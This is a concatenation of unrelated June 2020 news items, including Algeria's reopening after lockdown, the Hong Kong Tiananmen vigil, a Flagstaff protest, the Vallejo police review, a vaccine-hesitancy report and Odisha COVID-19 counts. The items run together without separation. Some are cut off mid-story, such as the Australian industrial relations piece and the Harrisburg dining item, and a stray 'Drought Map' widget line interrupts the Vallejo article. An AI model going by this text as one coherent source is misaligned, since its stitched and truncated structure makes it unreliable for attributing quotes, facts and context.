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A worker wearing gloves makes coffee at a cafe in Algiers, Algeria, on June 7, 2020. Algeria began to resume economic and commercial activities on Sunday as part of easing the COVID-19 lockdown. Under the plan, the gradual recovery of economic, commercial and service activities will initially be implemented in two phases, with the first phase starting on June 7 and the second on June 14. (Xinhua)

ALGIERS, June 4 (Xinhua) -- The Algerian government on Thursday announced that economic and commercial activities will resume on June 7 as part of easing the COVID-19 lockdown.

The Prime Minister's office said in a statement that the resumption of economic activities will be accompanied by compliance with strict precautionary measures.

It added that the measures must be scrupulously respected and applied by all operators, traders and customers.

Under the plan, the gradual recovery of economic, commercial and service activities will initially be implemented in two phases, with the first phase starting on June 7 and the second on June 14.

It stressed that "all customers must wear a protective mask and managers of establishments will be held responsible for noncompliance with this obligation."

The first phase concerns the resumption of activities in several sectors, including building and public works, subcontracting activities, design works and some commercial sectors.

The activities in the second phase will be identified and adopted by the public authorities according to the development of the coronavirus situation.

Algeria, which announced the first COVID-19 case on Feb. 25, has taken precautionary measures against the virus since the beginning of March.

As of Thursday, Algeria confirmed 9,831 COVID-19 cases, including 681 deaths.

China and Algeria have offered mutual help in the fight against the COVID-19 pandemic. A Chinese medical team arrived in Algeria on May 14 for a 15-day mission to help fight the COVID-19, through sharing China's experiences in controlling the contagious disease.
People place candles on a park gate for a candlelit vigil to commemorate the 1989 Beijing Tiananmen Square Massacre anniversary in Hong Kong, June 4, 2020. The annual candle light vigil, organized by the Hong Kong Alliance in Support of Patriotic Democratic Movements of China, has been called off by police for the first time in 30 years amid a ban on large gatherings due to the Covid-19 pandemic. EPA





Protesters take part in a candlelight vigil to mark the 31st anniversary of the crackdown of pro-democracy protests at Beijing's Tiananmen Square in 1989, after police rejected a mass annual vigil on public health grounds, at Victoria Park, in Hong Kong, June 4, 2020. Reuters



Thousands of people in Hong Kong defied a police ban Thursday evening, breaking through barricades to hold a candlelight vigil on the 31st anniversary of China's crushing of a democracy movement centered on Beijing's Tiananmen Square.



With democracy snuffed out in the mainland, the focus has shifted increasingly to semi-autonomous Hong Kong, where authorities for the first time banned the annual vigil that remembers victims of the 1989 crackdown.



Beijing is taking a tougher stance following months of anti-government protests last year, in what activists see as an accelerating erosion of the city's rights and liberties. Earlier Thursday, the Hong Kong legislature passed a law making it a crime to disrespect China's national anthem. Pro-democracy lawmakers had disrupted proceedings to try to prevent the vote.



Despite the police ban, crowds poured into Victoria Park to light candles and observe a minute of silence at 8:09 p.m. (1209 GMT, 8:09 a.m. EDT). Many chanted ''Democracy now''and ''Stand for freedom, stand with Hong Kong.''



While police played recordings warning people not to participate in the unauthorized gathering, they did little to stop people from entering the park. Authorities had cited the need for social distancing during the coronavirus pandemic in barricading the sprawling park, but activists saw the outbreak as a convenient excuse.



''If we don't come out today, we don't even know if we can still come out next year,'' said participant Serena Cheung.



Police said they made arrests in the city's Mongkok district, where large crowds also rallied. When several protesters tried to block a road, officers rushed to detain them, using pepper spray and raising a blue flag to warn them to disperse or they would use force on the unauthorized gathering. On Twitter, they urged people not to gather in groups because of the coronavirus.



After the vigil ended in Victoria Park, groups of protesters dressed in black carried flags that said, ''Liberate Hong Kong, Revolution of our times'' as well as ''Hong Kong Independence.''



Hundreds and possibly thousands of people were killed when tanks and troops moved in on Tiananmen Square the night of June 3-4, 1989, to break up weeks of student-led protests that had spread to other cities and were seen as a threat to Communist Party rule.



A Chinese Foreign Ministry spokesperson offered the government's standard defense of the 1989 crackdown.



''The Chinese government has made a clear conclusion about the political disturbance that occurred in the late 1980s,'' Zhao Lijian said. ''The great achievements that we have achieved ... have fully demonstrated that the development path China has chosen is completely correct, which conforms to China's national conditions and has won the sincere support of the Chinese people.''






For most people, marrying a prince and becoming a part of one of the most famous families in the entire world sounds like a dream come true. While this is exactly what happened for Meghan, Duchess of Sussex, we all know that it didnt exactly turn out the way she had hoped it would.

Royal life was anything but easy for Meghan, and Prince Harry came to her defense on more than one occasion. To say that the former American actress was bullied by the British tabloids is an understatement, and during an interview, Meghan even went so far as to say that royal life wasnt fair.

Although many fans imagine that being a royal is all glitz and glamour, it definitely had its drawbacks. There are several aspects of the experience that Meghan didnt care for, and we cant even describe the pressure that she was under during her time as a senior royal. One thing that a lot of fans may not realize, however, is that Meghans least favorite part of being a royal reportedly involved money and finances.

Meghan went from being an actress to being a duchess

RELATED: Meghan Markle Reportedly Has a Long History of Ghosting People

We all know that Meghan was famous in her own right long before she ever met Prince Harry. She worked hard in her acting career, taking small parts before finally getting her big break on the popular legal drama, Suits.

According to Good Housekeeping, her life was different before joining the royal family. Chances are, she wasnt prepared for the overwhelming fame that it would bring.

As an actress, Meghan didnt receive nearly as much attention, and things were much easier for her to handle. After she and Prince Harry went public with their relationship, Meghan quickly became one of the most sought after women in the entire world.

She was always an independent woman

RELATED: Prince Harry Made a Big Lifestyle Sacrifice for Meghan Markle, Says Friend

For years, Meghan lived in Toronto, Canada, where Suits was filmed. According to Newsweek, she was financially independent before joining the royal family, with an impressive net worth of around $5 million dollars.

Meghan worked hard to earn her money, and she was quite proud of herself for all that she had achieved. Although becoming a duchess meant that Meghan would be able to live an extremely luxurious life, it also meant that she was required to give up her acting career.

There is no doubt that this was extremely difficult for Meghan to do, especially since she is one of the most hardworking and ambitious people around. Although she was receiving money after her marriage to Prince Harry, it wasnt the same as the hard-earned paychecks that she was used to getting, which couldnt have been easy on her at all.

Meghan Markles least favorite part of being a royal reportedly involved money and finances

Meghan Markle | Chris Jackson/Getty Images

Even those family members who are not considered working royals have pretty large bank accounts! As a member of the royal family, Meghan relied on taxpayer money as well as receiving funds from her father-in-law, Prince Charles.

So, why is it that her least favorite part of being a royal involved money and finances? Well, according to Page Six, Meghan didnt like the fact that she wasnt financially independent. Bringing in her own income was something that she had done for years, and not being able to do so was a change that she never became accustomed to.

One of the things Meghan struggled with was not earning an income, a friend told The Sunday Times. She has always worked and I think she felt unfulfilled. Having financial freedom was a big part of them wanting to leave.

It was just one of the many things in Meghans life that were suddenly completely different, and it didnt turn out the way she had envisioned it would. We can only hope that Meghan will find the happiness that she wants and deserves now that she and Prince Harry have embarked upon the newest chapter of their lives.
Close to 250 people gathered Thursday in front of the Flagstaff Police Department at the Law Enforcement Administrative Facility on Sawmill Road for another Black Lives Matter protest. After marching through the parking lot, the protest moved through downtown Flagstaff, with stops at Heritage Square and Flagstaff City Hall before returning to the police department building.

As the crowd gathered at city hall, Flagstaff Chief of Police Kevin Treadway arrived to speak with the protestors about his reaction to the video of the death of George Floyd, who died recently while in police custody in Minneapolis. Treadway and Lt. Colin Seay from the Flagstaff Police Department then both knelt with the protestors as Bill Haney, chaplain for the department, prayed for all in attendance.

Here's a look at the remarks that Treadway made to the protestors and the thoughts of one person who was with the protestors:

Kevin Treadway

Treadway talked to the crowd after taking a knee in honor of Floyd and the many others who have died as a result of police brutality.

I want you to know first and foremost that we recognize your right to be here and demonstrate peacefully, and you have a lot to say. I also want you to know that a lot of what you have to say we agree with.

"What we saw in Minnesota with George Floyd is unacceptable, absolutely unacceptable, and I want all of you to know that I feel that way and all of my officers feel that way. This is absolutely tragic and once again you have a right to be here and to make your voice known. I want you to know that the Flagstaff Police Department cares deeply for our community, and we want to be a part of this discussion as we move forward -- and you have my word that we will be a part of that discussion as we move forward. We want to be a part of the healing, as well, and that healing will only come through continued dialogue and listening and we believe very strongly in that.

"I have thought nonstop, personally, about George Floyd and this incident, and others before him nonstop, and again I want to thank you for being peaceful, for doing what you are doing, and you have our full support to make sure that you remain safe.

Arianna Engelhaupt

Arianna Engelhaupt, a recent Northern Arizona University graduate, wanted to be clear that she was not a leader of the protest and was speaking as just one voice from within the protest.

Personally, as a black woman in Flagstaff I haven't experienced police brutality myself; I havent seen it, but I know that its happened to a lot of my fellow peers and students that go to NAU. Not just with NAU PD but with the Flagstaff PD. And I know all cops aren't bad and I know all cops arent racist, but our goal here today is to fight for, at least for me, more training within the police force. Like what kind of training do they do when it comes to dealing with people of diverse backgrounds, and is it different? And if it is different, they need to realize it because I think some people dont even realize that they are treating other people differently.

"My first protest here in Flagstaff was Sunday and there was only one police officer, and to see that was crazy because on the news, all on social media, theres police in their riot gear and its just scary. But coming here theres just one police officer, and I kind of admired them for that because they didnt come with that violent persona to the protest. Because when you bring violence or fear it causes fear and it causes violence, so to see the police today guiding us through the streets to our destination, that means a lot rather than being scared of us and having that riot gear, because we arent going to do anything to them; were not here to do anything to them.

"And I just want to say this, the people rioting and looting are totally separate from the people protesting. Separate. Separate agendas, and I know it may be for the same purpose but not for us here protesting peacefully, thats not what we want to do, and Im happy that the police officers here realize that and they arent coming all geared-up because we arent going to hurt them and were not here to hurt anybody in general. We are just trying to get our point across."

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When a restaurant's business is hit by something as devastating as Covid-19, the losses can be terminal. A revolutionary approach is required and the ability to think outside the box may be the difference between life and death.

Copenhagen's Noma, regularly nominated as the world's best restaurant, did not hesitate to turn itself into an outdoor burger and wine bar. On opening night everything sold out in an hour. The famous Claridge's hotel in London is now in the takeaway business, offering fried chicken, three side dishes and a dessert for 40 euros.

In some northern European countries employees are being given the opportunity to run bars and restaurants on their own account during what would normally be closing hours, paying a nominal 'rental' for the privilege.

In the USA restaurants that would only function for lunch and dinner are opening for breakfast, tea, even late-night drinking. It is likely that once these practices become established, they will continue, as social distancing vastly reduces income and profits.

So what about those establishments that invested heavily in Plexiglas screens to separate customers now that social distancing regulations make such divisions unnecessary?

Everyone agrees on one thing though, menus will be shorter generally, and four-hour lunches will remain little more than pleasant memories. Much to the regret of those of us who have spent some of our happiest hours ensconced in good restaurants enjoying the company of friends and the products of a good chef, current advice is that the less time we spend in such places the better for our health.
I wanted to do a news story about crime dropping in Albuquerque while we were all staying at home to stop the spread of novel coronavirus.

After all, we all could use a little ray of sunshine after a few dismal months of roaming the house in search of snacks and watching TV.

But the Albuquerque Police Department didnt want to cooperate. They do have a few other things theyre dealing with at the moment so dont be too harsh on them, and I plowed ahead anyway.

There are some numbers that show a decrease in the number of 911 calls for crimes like auto burglary  typically where someone smashes a window and steals stuff inside the vehicle. (Note: if they steal something from the open bed of your pickup its a larceny  not a burglary.)

Its the type of crime that occurs  thousands of times a year  in home driveways and parking lots across the city. Its one that tends to irritate the owner of the vehicle. Property stolen can range from firearms to loose change in a cup holder.

When people leave their car doors or windows open, the crime is quick and quiet. Otherwise a window is usually broken adding to the expense of the crime.

In January there were 559 calls for APD to respond to auto burglaries. In February there were 556 such calls, according to the crime mapping system on the citys website.

But with stay-at-home in full force in April, that number dropped to 407 calls. May was at that same lower level.

Meanwhile, cities like New York and Los Angeles showed big increases in auto burglaries based on the same crime mapping data. For once we were on a good list!

But when I asked APD spokesman Gilbert Gallegos if I could talk to someone at the department about this, I was a little surprised by his reaction.

The crime mapping information on the web site is basically calls for service, Gallegos wrote back in response to my email request. It isnt really good information for crime trends.

He volunteered that we have highlighted key points about calls for service during the past few months during the mayors media briefings. The briefings focused on burglaries and the departments concerns that domestic violence would increase during the stay-at-home orders.

Gallegos didnt respond to a request for an interview of someone in the department.

I also used the crime mapping data for Albuquerque to check a few other crimes. Auto theft appeared to have dropped slightly, along with home and commercial burglaries.

Auto theft is a crime that has become much more of a focus for Albuquerque police, since the city was among the leaders in the nation in per-capita car thefts. Those numbers were already declining before the stay-at-home orders.

While APD had nothing to say officially, a retired officer pointed out a couple of issues I hadnt considered that would tend to make the actual number of crimes higher.

First, he pointed out, many property crimes are reported to police in order to document the crime so the owner can file an insurance claim. Many victims simply go to a police substation or file a report online then send a copy to their insurance company. Those reports are not included in the calls for service numbers used in the crime mapping data.

But the same was true in January when the numbers were higher, so while the numbers may not be exact, the crime mapping data do show a trend of fewer calls for auto burglaries, home burglaries and auto theft.

In many cases, there is little or no expectation on the part of a property crime victim that the thief will be caught or any property returned, so why waste a police officers time coming to the scene?

If there are a large number of reports of auto burglaries in a certain neighborhood, police will change their patrol patterns or if the reports stem from a particular commercial parking area, they might plant a bait car.

But overall, police involvement in many property crimes is more of a third-party information recorder for insurance claims than a criminal investigative role.

There also is an economic bias built into this. Poor people are less likely to have insurance that covers an auto burglary or even auto theft.

More often than not, police catch auto thieves and burglars during traffic stops rather than detailed investigations of a specific crime. Police will still look for more organized burglary rings, but usually using confidential informants.

My retired APD friends second point was that law enforcement priorities change over time.

Auto burglaries are just not very high on the list anymore.

But these days, Ill take a little sunshine where I can find it.

UpFront is a front-page news and opinion column. Reach investigative reporter Mike Gallagher at 823-3971 or mgallagher@abqjournal.com.
California Attorney General Xavier Becerra on Friday announced a new review and reform agreement with the city of Vallejo and its embattled Police Department, a rare and substantial move that comes just days after an officer fatally shot a 22-year-old man who was on his knees.

In a media call, Becerra called the agreement a critical step in Vallejos efforts to rebuild trust between its community and police.

The review will be expansive and include an investigation of use-of-force procedures, anti-bias community policing and officer accountability, Becerra said. Reforms will center on training, policy and transparency in alignment with national standards and best practices.

Make no mistake, these expectations are high, and we will fight vigorously to meet them, Becerra said.

Sean Monterrosa, a 22-year-old San Francisco resident, was shot and killed early Tuesday while officers were responding to a looting incident at a Walgreens. Monterrosa dropped to his knees just before an officer opened fire  sending five bullets through his own windshield.

The officer, an 18-year-veteran of the department, mistook a hammer inside Monterrosas pocket for the butt of a gun, Vallejo Police Chief Shawny Williams said.

The killing occurred as protests, lootings and civil unrest have erupted across the country in response to the death of George Floyd, a 46-year-old black man who was killed on Memorial Day when a white Minnesota police officer knelt on his neck for more than eight minutes.

Though Becerras announcement came just days after Monterrosas death, the attorney general said the agreement was not centered on one singular incident but in light of several recent high-profile VPD officer-involved shootings.

John Burris, a civil-rights attorney who represents the families of several men killed by Vallejo police, said he was pleased about the probe.

For me, this is an important first step in getting the department under control, he said.

Burris said Monterrosas death was likely the final straw for the attorney generals office, as Vallejo police have come under heightened scrutiny in recent years.

Last year, six officers fired 55 rounds in the fatal shooting of Willie McCoy, who was killed after he was found unresponsive with a gun in his lap while behind the wheel of a car in a Taco Bell drive-thru. In 2018, a Vallejo officer shot and killed Ronell Foster, who was accused of trying to attack the officer with a flashlight.

In January 2017, a Vallejo police officer fatally shot Angel Ramos at the home he shared with his family. Ramos was allegedly hovering over another person and making stabbing motions with a large kitchen knife in his hand when Officer Zachary Jacobsen shot him. No knife was found near Ramos body.

Ive told them about these cases for the last several years and (Becerra) didnt even want to talk to me, Burris said. How much can you take before saying, Weve got a problem here?

Tuesday evening in Vallejo, city officials said about 100 people and nearly 40 vehicles surrounded the Police Department, and rocks and bottles were thrown at officers.

Despite the diverse population in Vallejo  30% white, 25% Asian, 22% black and 20% Latino  Vallejos victims of police violence are often black or brown. More than 40 Vallejo police officers have been involved in at least one shooting since 2010, and 14 have participated in multiple shootings.

Vallejo City Manager Greg Nyhoff on Friday said the City Council welcomes the involvement of the states Department of Justice.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Our officers share our Councils mission to keep our community safe and reflect the best of policing. We believe that collaboration with the DOJ and implementation of the suggestions from our recently completed external audits are an important step for everyone, Nyhoff said in a statement.

Vallejo Police Chief Williams said the city had already launched a number of reform projects prior to him taking over the department in November.

It is one reason I was attracted to the role of Chief, Williams said in a statement.

Williams added that as chief he has already implemented a stronger body-worn camera policy, an enhanced de-escalation policy and a program to regularly analyze use-of-force data.

But the biggest steps are ahead of us, Williams said. I welcome all voices to the table. We are stronger together.

Becerra said the states review of Vallejo police would be similar to their efforts in Sacramento and San Francisco.

Last year the attorney generals office issued a reform plan for Sacramento police following the controversial shooting of Stephon Clark, a 22-year-old black man who was killed in his grandmothers backyard after police were responding to reported break-ins. Officers thought Clark had a weapon but later learned he was holding a cell phone.

State prosecutors additionally stepped in to oversee reforms in San Francisco, after the U.S. Department of Justice issued a report following several controversial shootings, including the 2015 death of Mario Woods.

Megan Cassidy is a San Francisco Chronicle staff writer. Email: megan.cassidy@sfchronicle.com Twitter: @meganrcassidy
Business wants to abandon the "better off overall test", remove guidelines on leave and terminations from awards, and will oppose criminal punishment for wage theft in upcoming discussions on industrial relations reform with the federal government and unions.

A reform paper released by the Australian Industry Group ahead of the first round of meetings makes the case for substantial change and puts it at odds with unions which are pushing for pay rises and security for casuals.

Industrial Relations Minister Christian Porter and ACTU secretary Sally McManus are both involved in the reform process. Credit:Louise Kennerley

"It is time for a fresh approach to be taken on industrial relations reform, an approach that boosts productivity, grows jobs, encourages investment and restores economic growth," the chief executive of the organisation, Innes Willox, said.

The industry group is urging for the end to the "better off overall test" that ensures workers cannot be worse off in any changes to enterprise agreements. Instead, it wants it to be replaced with a no-disadvantage test similar to one which existed before the Howard government's short-lived 2005 Work Choices reform package.
While Bollywood prides itself with a number of gripping thriller films, true crime somehow always trumps fiction when executed well in films. True-crime films attempt to dig deep into the minds of the perpetrator/s and the investigation team giving us an insight of the functioning of the criminal world.

Here is a list of 7 nail-biting true-crime Bollywood films that you must watch.

1. Special 26

A group of swindlers pretend to be CBI officers and attempt to conduct raids on unsuspecting politicians and businessmen with elusive pasts to catch hold of their black money. With the real CBI on their trail, they decide to pull off their biggest robbery.



2. Black Friday

Black Friday is a 2007 true crime film written and directed by Anurag Kashyap. The film premiered back in 2004 at the Locarno International Film Festival and was supposed to released the same year, however, after a petition filed the group accused of the 1993 bomb blasts, the film was stalled for almost three years. Based on the novel, Black Friday: The True Story of the Bombay Bomb Blasts, a book by Hussain Zaidi about the 1993 Mumbai bombings, the film follows developments that led to the Mumbai blasts and the subsequent police investigation on it

3. Veerappan

Koose Munisamy Veerappan, popularly called Veerappan was an Indian bandit. Active for 36 years, he was known for the notorious kidnappings of major politicians for ransom. He was also charged with sandalwood smuggling in the scrublands and forests of Tamil Nadu, Karnataka, and Kerala in his long menacing career as a thug. The film is based on his life, how he trains as a teenager, under his elusive uncle, Sevi Gounder, and becomes the fierce dacoit. When he learns about a covert operation to arrest him, he does his best to thwart the police

4. Talvar

Based on true events of popular investigation of the murder of a teenage girl and house help, the film follows the life of a hardened investigator as he deals with conflicting perspectives involving a brutal double murder case. The case gets complicated when the parents of the murdered girl emerge as the prime suspects.



5. Paanch

 IMDB

Paanch is a 2003 true crime film written and directed by Anurag Kashyap. It never saw the light of day in theatres and was only featured at film festivals. Starring Kay Kay Menon, Aditya Srivastava, Vijay Maurya, Joy Fernandes, and Tejaswini Kolhapure, the film is based on the 1976-77 Joshi-Abhyankar serial murders in Pune. They were a group of ten men who committed ten murders. They were commercial art students at the Abhinav Kala Mahavidyalaya.



6. The Stoneman Murders

Directed by Manish Gupta, The Stoneman Murders is a 2009 Indian neo-noir true-crime thriller film. Inspired from the frequent real-life Stoneman killings in the 1980s Bombay. The victims for the 'Stoneman' were footpath dwellers in Bombay. They were stoned to death in their sleep. The person behind these crimes was never caught. The film attempts to answer some of these questions intertwining facts with fiction.

7. Sins

 IMDB

Directed by Vinod Pande, Sins is a 2005 film. Depicting a Catholic priest's affair with a young woman, the film was protested against by the Catholic Secular Forum. The film was based on a Catholic priest based in Kerela who was sentenced to death on sexual harassment and murder charges.


Just in time for the weekend, outdoor dining is back in the Harrisburg area.

Owners will be popping open umbrella-topped tables, scrubbing decks and preparing patios for the long-anticipated day.
Washington, D.C., June 02, 2020 (GLOBE NEWSWIRE) -- As the COVID-19 vaccine race accelerates, experts recognize that the challenge will not end with the development of a vaccine. The extraordinary effort to make a vaccine available across the globe will only be effective if the majority of people achieve immunity through vaccination. Meeting the Challenge of Vaccination Hesitancy, a new report released today by the Sabin-Aspen Vaccine Science and Policy Group, calls for an urgent, coordinated effort to strengthen vaccine acceptance and address the risk that vaccination hesitancy  the reluctance or opposition to vaccination despite the availability of safe and effective vaccines  poses to communities around the world.

The global call for a vaccine to end the COVID-19 pandemic highlights the value of vaccines for the health and economic stability of individuals and communities. While the world eagerly awaits the day when COVID-19 vaccines will be widely available, the threat of deadly vaccine-preventable outbreaks is at our doorstep. Just last year, the United States suffered its largest measles outbreak in 20 years, concentrated in communities with low immunization rates. Similar outbreaks have occurred around the world in communities susceptible to measles because of under vaccination.

Designed to maintain, restore and strengthen confidence in the value of vaccines, the report includes three big ideas that alone and together can contribute to reversing the trend. The report calls for:

A new media collaborative to serve as an interface between the vaccination community and social media platforms

A research agenda to create ample evidence-based knowledge about the sources of vaccine hesitancy and the best ways to counter it

A new narrative to shift the conversation around immunization to one that focuses on achievements and promise and helps build resiliency in the vaccine enterprise

Progress toward increasing immunization coverage has stalled in recent years, opening the door to outbreaks of measles and other vaccine-preventable diseases. This trend is often fueled by complacency and loss of confidence in the system that develops, produces, recommends and delivers vaccines. Hesitancy toward vaccination can be exacerbated by the spread of misinformation about the safety and efficacy of vaccines across the internet.

With misleading and conspiratorial vaccine theories proliferating online, it has become critical to effectively measure and understand the impact of vaccine misinformation, and to devise a strategy to enhance public trust in all vaccines. These actions are needed to protect overall health for the next generation and to ensure successful uptake of a COVID-19 vaccine when it is available.

The new report presents an in-depth analysis into the root causes of vaccine hesitancy, an exploration of the current landscape of misinformation and actionable steps to address these trends. The report is a product of the Sabin-Aspen Vaccine Science & Policy Group, a joint initiative of the Sabin Vaccine Institute (Sabin) and the Aspen Institute, made up of 24 global innovators and thought leaders with converged expertise across public health, medicine, philanthropy, venture capital, biotechnology, biology, ecology, ethics and journalism. Misinformation on social media and skepticism and distrust in government, industry and science are detailed in the five background papers that frame the report.



In order to shift the conversation and address the dangers of misinformation, we need to learn how people make decisions about vaccines, said Shirley M. Tilghman, president emerita of the university, professor of molecular biology and public affairs at Princeton University and Sabin-Aspen Group co-chair. This requires understanding the social processes that contribute to attitudes around vaccines and conducting effective education and outreach to activate awareness and support for immunization.

Developing strategies to counter vaccine hesitancy will require significant investment, as well as broader engagement with new disciplines and collaborators, especially within the social and behavioral sciences and with social media platforms, said Harvey V. Fineberg, M.D., Ph.D., president of the Gordon and Betty Moore Foundation and a Sabin-Aspen Group co-chair. Many of the tech companies are aware of and have begun to be responsive to vaccine misinformation; now its up to us to deepen this partnership to improve vaccine acceptance and protect the health of individuals and communities around the world.



Misinformation is emerging about COVID-19 vaccines, even as they are early in development, increasing the urgency to understand vaccine hesitancy and put forth actionable solutions, said Bruce Gellin, M.D., M.P.H., Sabins president of Global Immunization. We are proud to share this report, and grateful for our partnership with the Aspen Institute and the leaders who have brought their creativity and determination to this issue.

Vaccines face another obstacle  their own success. Decades of diligent vaccination campaigns have established community immunity (or herd immunity), in which the percentage of a population immune to a disease is high enough to prevent its spread. As a result, the potentially deadly consequences of not vaccinating have become less apparent to the general public, leading to a rise in complacency.



Vaccine uptake is just as critical to understand and improve as vaccine access said Ruth Katz, executive director of the Aspen Institute Health, Medicine and Society (HMS) Program. If the factors that contribute to vaccine hesitancy  complacency, convenience and confidence  are not properly understood or addressed, the health and wellbeing of future generations will be at risk.

The Sabin-Aspen Vaccine Science & Policy Group is a partnership that brings together senior leaders across many disciplines to examine some of the most challenging vaccine-related issues and drive impactful change. This second meeting of the Sabin-Aspen Vaccine Science & Policy Group and its research and report were funded by the Bill & Melinda Gates Foundation.

Read the full report.

###

BACKGROUND

Vaccine-preventable infectious diseases can be controlled without 100 percent vaccine coverage, but the rates must be highgenerally in the 80-95 percent range, depending on the disease in questionto reliably protect against outbreaks

The June 2019 Wellcome report measured attitudes and perceptions toward science and showed the highest levels of vaccine mistrust exist in Europe and North America, where the mortality from vaccine-preventable diseases is lowest. The study found that 79 percent of the worlds population somewhat or strongly agreed with the statement that vaccines are generally safe. That figure was 72 percent in North America, 59 percent in Western Europe, and only 50 percent in Eastern Europe, while 95 percent of South Asians and 88 percent of Central Americans agreed with the statement

The cost of an outbreak can cripple economies: According to a study in the October 2018 Journal of Infectious Diseases, the Ebola outbreak that ravaged East Africa in 2014 cost economies an estimated $53 billion; the economic cost to the United States during just the first two months fighting the COVID-19 pandemic is estimated to be $2.14 trillion

About Sabin-Aspen Vaccine Science & Policy Group

Co-chairs:

Harvey V. Fineberg , President, Gordon and Betty Moore Foundation

, President, Gordon and Betty Moore Foundation Shirley M. Tilghman, President Emerita of the University and Professor of Molecular Biology and Public Affairs, Princeton University

Members

Ann Arvin , Lucile Salter Packard Professor of Pediatrics (Infectious Disease) and Professor of Microbiology, Stanford University School of Medicine; Vice Provost and Dean of Research Emeritus, Stanford University.

, Lucile Salter Packard Professor of Pediatrics (Infectious Disease) and Professor of Microbiology, Stanford University School of Medicine; Vice Provost and Dean of Research Emeritus, Stanford University. Seth Berkley , Chief Executive Officer, Gavi, the Vaccine Alliance

, Chief Executive Officer, Gavi, the Vaccine Alliance Alan Bernstein , President and Chief Executive Officer, Canadian Institute for Advanced Research

, President and Chief Executive Officer, Canadian Institute for Advanced Research Tanisha Carino , Executive Vice President and Chief Corporate Affairs Officer, Alexion

, Executive Vice President and Chief Corporate Affairs Officer, Alexion Michael Conway , Senior Partner, McKinsey & Company

, Senior Partner, McKinsey & Company Kathryn Edwards , Sarah H. Sell and Cornelius Vanderbilt Chair in Pediatrics and Professor of Pediatrics, Vanderbilt School of Medicine

, Sarah H. Sell and Cornelius Vanderbilt Chair in Pediatrics and Professor of Pediatrics, Vanderbilt School of Medicine Mark Feinberg , President and Chief Executive Officer, International AIDS Vaccine Initiative (IAVI)

, President and Chief Executive Officer, International AIDS Vaccine Initiative (IAVI) Margaret Hamburg , Foreign Secretary, National Academy of Medicine; President, American Association for the Advancement of Science (AAAS)

, Foreign Secretary, National Academy of Medicine; President, American Association for the Advancement of Science (AAAS) Penny Heaton , Chief Executive Officer, Bill & Melinda Gates Medical Research Institute

, Chief Executive Officer, Bill & Melinda Gates Medical Research Institute Rick Klausner , Founder and Chief Executive Officer, Lyell Immunopharma

, Founder and Chief Executive Officer, Lyell Immunopharma Simon Levin , James S. McDonnell Distinguished University Professor in Ecology and Evolutionary Biology, Princeton University; Director, Center for BioComplexity, Princeton Environmental Institute

, James S. McDonnell Distinguished University Professor in Ecology and Evolutionary Biology, Princeton University; Director, Center for BioComplexity, Princeton Environmental Institute Diego Miralles , Chief Executive Officer, Vividion Therapeutics

, Chief Executive Officer, Vividion Therapeutics Kelly Moore , Adjunct Associate Professor, Health Policy, Vanderbilt University Medical Center; Member, Advisory Committee on Immunization Practices (ACIP), Centers for Disease Control and Prevention (CDC)

, Adjunct Associate Professor, Health Policy, Vanderbilt University Medical Center; Member, Advisory Committee on Immunization Practices (ACIP), Centers for Disease Control and Prevention (CDC) Katherine O'Brien , Director, Department of Immunization, Vaccines and Biologicals, World Health Organization

, Director, Department of Immunization, Vaccines and Biologicals, World Health Organization Muhammad Pate , Global Director, Health, Nutrition and Population Global Practice, World Bank; Director, Global Financing Facility for Women, Children and Adolescents, World Bank Group

, Global Director, Health, Nutrition and Population Global Practice, World Bank; Director, Global Financing Facility for Women, Children and Adolescents, World Bank Group Helen Rees , Founder and Executive Director, Wits Reproductive Health and HIV Institute, University of Witwatersrand

, Founder and Executive Director, Wits Reproductive Health and HIV Institute, University of Witwatersrand Laura Riley , Chair of Obstetrics and Gynecology, Weill Cornell Medicine and Obstetrician and Gynecologist-in-Chief, New York Presbyterian Hospital

, Chair of Obstetrics and Gynecology, Weill Cornell Medicine and Obstetrician and Gynecologist-in-Chief, New York Presbyterian Hospital Pardis Sabeti , Professor, Center for Systems Biology and Department of Organismic and Evolutionary Biology, Harvard University and Department of Immunology and Infectious Disease, Harvard TH Chan School of Public Health, Harvard University; Member, Broad Institute of Harvard and MIT; Principal Investigator, Sabeti Lab, FAS Center for Systems Biology, Harvard University

, Professor, Center for Systems Biology and Department of Organismic and Evolutionary Biology, Harvard University and Department of Immunology and Infectious Disease, Harvard TH Chan School of Public Health, Harvard University; Member, Broad Institute of Harvard and MIT; Principal Investigator, Sabeti Lab, FAS Center for Systems Biology, Harvard University George Siber , Chief Scientific Officer, ClearPath Development Company

, Chief Scientific Officer, ClearPath Development Company Michael Specter , Staff Writer, The New Yorker

, Staff Writer, The New Yorker Wendy Taylor , Rockefeller Foundation Fellow, The Rockefeller Foundation

, Rockefeller Foundation Fellow, The Rockefeller Foundation Robert Tepper, Co-Founder and General Partner, Third Rock Ventures, LLC

About the Sabin Vaccine Institute

The Sabin Vaccine Institute is a leading advocate for expanding vaccine access and uptake globally, advancing vaccine research and development, and amplifying vaccine knowledge and innovation. Unlocking the potential of vaccines through partnership, Sabin has built a robust ecosystem of funders, innovators, implementers, practitioners, policy makers and public stakeholders to advance its vision of a future free from preventable diseases. As a non-profit with more than two decades of experience, Sabin is committed to finding solutions that last and extending the full benefits of vaccines to all people, regardless of who they are or where they live. At Sabin, we believe in the power of vaccines to change the world. For more information, visit www.sabin.org and follow us on Twitter, @SabinVaccine.

About the Aspen Institutes Health, Medicine and Society Program

Established in 2005, the Aspen Institutes Health, Medicine and Society Program brings together influential groups of thought leaders, decision-makers, and the informed public to consider health challenges facing the U.S. in the 21st century and to identify practical solutions for addressing them. For more information, visit www.aspeninstitute.org/programs/health-medicine-and-society-program. The Aspen Institute is a global nonprofit organization committed to realizing a free, just, and equitable society. Founded in 1949, the Institute drives change through dialogue, leadership, and action to help solve the most important challenges facing the United States and the world. Headquartered in Washington, DC, the Institute has a campus in Aspen, Colorado, and an international network of partners.
Odisha saw the highest single-day recovery of 123 patients from Covid-19 on Friday taking the total recoveries to 1,604. However, the discovery of 13 new infections from Bhubaneswar, including one from the citys largest slum, added to the states worries.

On Friday, 123 patients recovered from the coronavirus disease. The recovered include 35 from the virus epicentre Ganjam district and 22 from Cuttack.

The total number of Covid-19 cases in the state surged to 2,608 with 130 new cases, including 22 in Khurda and Mayurbhanj districts each.

The state lauded the health staff and volunteers for the spike in recoveries. This has been possible due to the untiring efforts of all Covid hospitals, doctors, nurses, paramedics, ANMs, ASHAs, Anganwadi workers, teachers, Sarpanches and support staff including community health volunteers, as well as the police and administrative staff involved, the health department said in a tweet.

